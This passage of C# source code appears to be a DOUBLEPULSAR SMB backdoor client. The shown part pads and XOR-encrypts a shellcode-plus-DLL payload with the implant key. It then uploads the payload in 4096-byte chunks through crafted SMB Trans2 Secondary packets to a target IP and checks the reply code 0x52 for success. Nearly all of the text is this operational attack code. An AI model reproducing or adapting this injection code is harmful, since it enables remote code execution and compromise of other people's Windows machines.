                System.Buffer.BlockCopy(DLL_SIZE, 0, bootstrap_shellcode, 6136, 4);
                System.Buffer.BlockCopy(ORDINAL, 0, bootstrap_shellcode, 6140, 4);

                System.Console.WriteLine(HexDump(bootstrap_shellcode));

                ////////////////////
                uint TOTAL_PAYLOAD_SIZE = (uint)array.Length + (uint)6144;
                System.Buffer.BlockCopy(bootstrap_shellcode, 0, upload_payload, 0, 6144);
                System.Buffer.BlockCopy(array, 0, upload_payload, 6144, array.Length);

                uint iterations = TOTAL_PAYLOAD_SIZE / 4096;
                uint remainder = TOTAL_PAYLOAD_SIZE % 4096;

                System.Console.WriteLine("We will send:  {0} packets", iterations);
                if (remainder > 0)
                {
                    System.Console.WriteLine("Remainder: {0} bytes in the last packet", remainder);
                }

                List<byte> Parameters = new List<byte>();
                Parameters.AddRange(Enumerable.Repeat((byte)0x00, 12));
                byte[] paramz = Parameters.ToArray();
                UInt32 TotalByteCount = (uint)TOTAL_PAYLOAD_SIZE;
                uint bytesLeft = TOTAL_PAYLOAD_SIZE;
                UInt32 ChunkSize = (uint)4096;
                UInt32 Offset = 0;

                SMB_COM_TRANSACTION2_SECONDARY_REQUEST transaction2SecondaryRequest = new SMB_COM_TRANSACTION2_SECONDARY_REQUEST
                {
                    WordCount = 15,
                    TotalParameterCount = 12,
                    TotalDataCount = 0x1000,
                    MaxParameterCount = 1,
                    MaxDataCount = 0x0000,
                    MaxSetupCount = 0x00,
                    Reserved = 0x00,
                    Flags = 0x00,
                    Timeout = 0x001a8925, // [25,89,1a0,00] in packet.  0x001a8925
                    Reserved2 = 0x00,
                    ParameterCount = 12,

                    //where in the packet is the location of the parameters
                    //(NETBIOS) + (SMB) + (transaction2SecondaryRequest) -> < PARAMETERS ARE HERE >
                    ParameterOffset = 0x0042, //0x0035 OR ParameterDisplacement (NETBIOS) + (SMB) + (transaction2SecondaryRequest) -> (parameters=12)
                    DataCount = 0, //will be updated with the values below

                    //where in the packet is the location of the SMBDATA
                    //(NETBIOS) + (SMB) + (transaction2SecondaryRequest) + (PARAMETERS) -> < SMBDATA IS HERE>
                    DataOffset = 0x004e, // DataDisplacement (NETBIOS) + (SMB) + (transaction2SecondaryRequest) (parameters=12) -> ( SMBData=4096 MAX)
                    setupcount = 1, //0x01;
                    reserved3 = 0x00,
                    subcommand = 0x000e,
                    ByteCount = 0,
                    padding = 0x00
                };

                SMB_HEADER Exec_header = new SMB_HEADER
                {
                    protocol = 0x424d53ff,
                    command = 0x32,
                    errorClass = 0x00,
                    _reserved = 0x00,
                    errorCode = 0x0000,
                    flags = 0x18,
                    flags2 = 0xc007,
                    PIDHigh = 0x0000,
                    SecurityFeatures = 0x0000000000000000,
                    reserved = 0x0000,
                    TID = 0x0008, /* 0xfeff */
                    PIDLow = 0xfeff, /* 0x4b2f */
                    UID = 0x0008,
                    MID = 0x0042
                };

                Exec_header.TID = header.TID;
                Exec_header.UID = header.UID;

                byte[] ByteTotalByteCount;
                byte[] ByteChunkSize;
                byte[] ByteOffset;
                Int32 ctx;
                Int32 i;

                System.Console.WriteLine("Encrypting shellcode buffer...\n");
                for (i = 0; i < upload_payload.Length; i++)
                {
                    upload_payload[i] ^= (byte)ByteXORKEY[i % 4];
                }

                byte[] upload_payload_chunk = new byte[4096];
                byte[] last_payload_chunk = new byte[remainder];
                for (ctx = 0; ctx < iterations; ctx++)
                {
                    Array.Clear(paramz, 0, 12);

                    ByteTotalByteCount = INT2LE(TotalByteCount);
                    ByteChunkSize = INT2LE(ChunkSize);
                    ByteOffset = INT2LE(Offset);

                    System.Buffer.BlockCopy(ByteTotalByteCount, 0, paramz, 0, 4);
                    System.Buffer.BlockCopy(ByteChunkSize, 0, paramz, 4, 4);
                    System.Buffer.BlockCopy(ByteOffset, 0, paramz, 8, 4);

                    for (i = 0; i < paramz.Length; i++)
                    {
                        paramz[i] ^= (byte)ByteXORKEY[i % 4];
                    }
                    System.Console.WriteLine(HexDump(paramz));


                    //Merge SMBHeader with the transaction2SecondaryRequest
                    byte[] headerBytes = GetBytes(Exec_header);


                    transaction2SecondaryRequest.TotalDataCount = (ushort)4096; // Marshal.SizeOf(encrypted_payload);
                    transaction2SecondaryRequest.DataCount = (ushort)4096; // Marshal.SizeOf(encrypted_payload);

                    ushort byteCountOfEncryptedPayload = (ushort)(4096 + 13); // Marshal.SizeOf(encrypted_payload) + 13;
                    transaction2SecondaryRequest.ByteCount = (ushort)byteCountOfEncryptedPayload;

                    byte[] transaction2SecondaryRequestbytes = GetBytes(transaction2SecondaryRequest).ToArray();
                    byte[] pkt = headerBytes.Concat(transaction2SecondaryRequestbytes).ToArray();

                    // System.Console.WriteLine("Adding parameters to the end");
                    pkt = pkt.Concat(paramz.ToArray()).ToArray();

                    //System.Console.WriteLine("Adding SMB Data to the end");
                    Array.Clear(upload_payload_chunk, 0, 4096);
                    System.Buffer.BlockCopy(upload_payload, (int)Offset, upload_payload_chunk, 0, 4096);
                    pkt = pkt.Concat(upload_payload_chunk.ToArray()).ToArray();

                    //System.Console.WriteLine("SMB packet does not have a size header.  Adding the header!");
                    uint size = (uint)pkt.Length;
                    System.Console.WriteLine("SMB packet length:  {0}", size);
                    byte[] intBytes = BitConverter.GetBytes(size).Reverse().ToArray();
                    NETBIOS_HEADER netbios_header = new NETBIOS_HEADER();
                    netbios_header.MessageTypeAndSize = BitConverter.ToUInt32(intBytes, 0);
                    byte[] netbios_header_packet = GetBytes(netbios_header);
                    byte[] fullMessage = netbios_header_packet.Concat(pkt).ToArray();
                    //System.Console.WriteLine(HexDump(fullMessage));

                    //patch user ID and tree ID here with UserID & TreeID bytes
                    //fullMessage[28] = tree_id[0];
                    //fullMessage[29] = tree_id[1];
                    //fullMessage[32] = user_id[0];
                    //fullMessage[33] = user_id[1];

                    try
                    {
                        sock.Send(fullMessage);
                        System.Console.WriteLine("Sent a packet!");
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine("Socket Error, during sending: " + e.Message);
                    }

                    try
                    {
                        sock.Receive(recv_buffer);
                        // Check for 0x52 response to indicate DOUBLEPULSAR worked
                        // 0x52 = success
                        // 0x62 = parameter failure
                        // 0x72 = alloc error

                        //This will NOT work because we didn't use the SendSMBMessage function
                        /* 
                        header = SMB_HeaderFromBytes(recv_buffer);
                        if (header.MID == 0x52)
                        {
                            System.Console.WriteLine($"[{ip}] DOUBLEPULSAR - Returned {recv_buffer[34]}.  SUCCESS!");
                        }*/

                        /* 
                         * In this code, we are not using the SendSMBMessage function
                         * Because we are not using the SendSMBMessage function
                         * SMB_HeaderFromBytes() becomes equally useless
                         * 
                         * We are just reading the Doublepulsar Multiplex ID at buffer[34]
                         * since we did not use the SendSMBMessage -> ReceiveSMBMessage becomes useless
                         */

                        if (recv_buffer[34] == 0x52)
                        {
                            System.Console.WriteLine($"[{ip}] DOUBLEPULSAR - Returned {recv_buffer[34]}.  SUCCESS!");
                        }
                    }

                    catch (Exception e)
                    {
                        Console.WriteLine("Recv Error: " + e.Message);
                    }

                    bytesLeft -= 4096;
                    Offset += 4096;
                    System.Console.WriteLine("Offset -> {0}", Offset);
                }

                if (remainder > 0)
                {
                    System.Console.WriteLine("\n\n[*] Last packet -> {0}", remainder);
                    System.Console.WriteLine("Offset -> {0}", Offset);
                    Array.Clear(paramz, 0, 12);
                    ByteTotalByteCount = INT2LE(TotalByteCount);
                    ByteChunkSize = INT2LE(bytesLeft);
                    ByteOffset = INT2LE(Offset);

                    System.Buffer.BlockCopy(ByteTotalByteCount, 0, paramz, 0, 4);
                    System.Buffer.BlockCopy(ByteChunkSize, 0, paramz, 4, 4);
                    System.Buffer.BlockCopy(ByteOffset, 0, paramz, 8, 4);

                    for (i = 0; i < paramz.Length; i++)
                    {
                        paramz[i] ^= (byte)ByteXORKEY[i % 4];
                    }

                    System.Console.WriteLine(HexDump(paramz));

                    //Merge SMBHeader with the transaction2SecondaryRequest
                    byte[] headerBytes = GetBytes(Exec_header);


                    transaction2SecondaryRequest.TotalDataCount = (ushort)bytesLeft; // Marshal.SizeOf(encrypted_payload);
                    transaction2SecondaryRequest.DataCount = (ushort)bytesLeft; // Marshal.SizeOf(encrypted_payload);

                    ushort byteCountOfEncryptedPayload = (ushort)(bytesLeft + 13); // Marshal.SizeOf(encrypted_payload) + 13;
                    transaction2SecondaryRequest.ByteCount = (ushort)byteCountOfEncryptedPayload;

                    byte[] transaction2SecondaryRequestbytes = GetBytes(transaction2SecondaryRequest).ToArray();
                    byte[] pkt = headerBytes.Concat(transaction2SecondaryRequestbytes).ToArray();

                    //System.Console.WriteLine("Adding parameters to the end");
                    pkt = pkt.Concat(paramz.ToArray()).ToArray();

                    //System.Console.WriteLine("Adding SMB Data to the end");
                    Array.Clear(last_payload_chunk, 0, (int)remainder);
                    System.Buffer.BlockCopy(upload_payload, (int)Offset, last_payload_chunk, 0, (int)remainder);
                    pkt = pkt.Concat(last_payload_chunk.ToArray()).ToArray();

                    //System.Console.WriteLine("SMB packet does not have a size header.  Adding the header!");
                    uint size = (uint)pkt.Length;
                    System.Console.WriteLine("SMB packet length:  {0}", size);
                    byte[] intBytes = BitConverter.GetBytes(size).Reverse().ToArray();
                    NETBIOS_HEADER netbios_header = new NETBIOS_HEADER();
                    netbios_header.MessageTypeAndSize = BitConverter.ToUInt32(intBytes, 0);
                    byte[] netbios_header_packet = GetBytes(netbios_header);
                    byte[] fullMessage = netbios_header_packet.Concat(pkt).ToArray();
                    //System.Console.WriteLine(HexDump(fullMessage));

                    //patch user ID and tree ID here with UserID & TreeID bytes
                    //fullMessage[28] = tree_id[0];
                    //fullMessage[29] = tree_id[1];
                    //fullMessage[32] = user_id[0];
                    //fullMessage[33] = user_id[1];

                    try
                    {
                        sock.Send(fullMessage);
                        System.Console.WriteLine("Sent a packet!");
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine("Socket Error, during sending: " + e.Message);
                    }

                    try
                    {
                        sock.Receive(recv_buffer);
                        // Check for 0x52 response to indicate DOUBLEPULSAR worked
                        // 0x52 = success
                        // 0x62 = parameter failure
                        // 0x72 = alloc error

                        //This will NOT work because we didn't use the SendSMBMessage function
                        /* 
                        header = SMB_HeaderFromBytes(recv_buffer);
                        if (header.MID == 0x52)
                        {
                            System.Console.WriteLine($"[{ip}] DOUBLEPULSAR - Returned {recv_buffer[34]}.  SUCCESS!");
                        }*/

                        /* 
                         * In this code, we are not using the SendSMBMessage function
                         * Because we are not using the SendSMBMessage function
                         * SMB_HeaderFromBytes() becomes equally useless
                         * 
                         * We are just reading the Doublepulsar Multiplex ID at buffer[34]
                         * since we did not use the SendSMBMessage -> ReceiveSMBMessage becomes useless
                         */

                        if (recv_buffer[34] == 0x52)
                        {
                            System.Console.WriteLine($"[{ip}] DOUBLEPULSAR - Returned {recv_buffer[34]}.  SUCCESS!");
                        }
                    }

                    catch (Exception e)
                    {
                        Console.WriteLine("Recv Error: " + e.Message);
                    }

                    bytesLeft -= remainder;
                    System.Console.WriteLine("BytesLeft -> {0}", bytesLeft);
                }

                client.Close();
                sock.Close();
            }
        }
    }
}